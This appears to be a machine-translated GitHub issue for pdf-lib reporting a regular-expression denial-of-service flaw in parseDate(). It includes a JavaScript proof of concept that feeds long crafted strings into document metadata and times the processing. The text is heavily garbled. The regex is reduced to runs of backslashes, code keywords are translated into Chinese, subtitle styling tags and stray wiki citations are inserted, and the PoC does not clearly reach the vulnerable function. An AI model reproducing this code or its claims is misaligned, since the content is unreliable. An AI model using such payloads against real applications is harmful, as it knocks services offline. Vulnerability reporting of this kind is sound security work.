#1773·pdf-lib

ReDoS 漏洞

作者: NinjaGPT创建于 2026年3月2日更新于 2026年3月2日
标签bugneeds-triage

你想怎样?

总结

在 pdf-lib 的 parseDate () 函数中存在 src/utils/ strings.ts 中的常规表达拒绝服务(ReDoS) 脆弱性. 日期Regex 模式包含可选择的嵌入组, 造成灾难 处理恶意输入字符串时返回跟踪。 攻击者可以手取能指数地增加CPU处理时间的有效载荷——为1024个字符以188ms表示,为4096个字符以704ms表示。 由于pdf-lib处理可能包含不可信用户输入的PDF元数据字段(标题,作者等),这种脆弱性可以被利用来导致使用库的应用程序拒绝服务.

-- -- . . .

细节

bash
congex = /^D: (\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\d\\d\\\\\\d\d\\d\\\\\\\\\\d\d\\\d\\d\\\\\\\\d\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

导出 const parseDate = (dateStr: string): 日期QQ未定义QQ{
const match = dateStr. match(date Regex); (中文(简体) ).

如果(.匹配)返回未定义的;

针 [
, (中文(简体) ).
年份
一个月="01",
日数="01",
小时="00",
分钟="00",
秒 = '00' , (中文(简体) ).
页:1
页:1
页:1
= 匹配;

//http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15
Const tzOffset = (中文(简体) ).
${offsetSign}${offsetHours}:${offsetMins};
日期 = 新日期 (
${年份} - ${月份} - ${每天} T${小时} :${mins}:${秒} :${tzOffset},
(三)

返回日期;
* ;

-- -- . . .

POC (英语).


const {PDFDocument}} = 需要 ('pdf-lib');

函数生成  redos paidload(长度){
前缀=“https://”;
cont 泵 = "a". repeat(长度);
后缀= "!";

返回前缀+泵+后缀;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

async 函数测量处理时间( 负载) {
Const start Time = performance. now (); (中文(简体) ).
尝试{
Const pdfDoc = 正在等待 PDFDocument.create ();
// 试图设置可能触发正则处理的元数据
pdfDoc.set Title(载荷);
pdfDoc.setAuthor(载荷);
pdfDoc.set Subject(载荷);
pdfDoc.set关键词([活口]);
pdfDoc.setCreator(载荷);
pdfDoc.set 制取器(载荷);
pdfDoc.setCreationDate(新日期 ()) ;
pdfDoc.set ModificationDate(新日期( ) );

/ 尝试保存文档以触发任何正则操作
等待 pdfDoc.save ();
捕捉(反射){
/ 请检查url=值 (帮助). 如果发生错误, 可能表示 DoS 尝试成功
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
const endTime = perform.now (); (原始内容存档于2019-09-30).
返回结束时间 - 开始时间;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

aync 函数主 () {
cont长度=4096;
c. 有效载荷=生成-再作-负载(长度);
c. 时间;
控制台.log( '时间成本: ${timeCost.toFixed(2)} ms' );
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?

主 (. ) 捕获量( 错误) {{ {
a. 控制台. error (“ [FATAL] ”), 错误;
process.exit(1);
* ;

** 产出:**

时间成本: 455.70毫秒

[INFO] 有效载荷长度1024,时间成本188.92
[INFO] 有效载荷
. . . . . . .

内容来源: Hopding/pdf-lib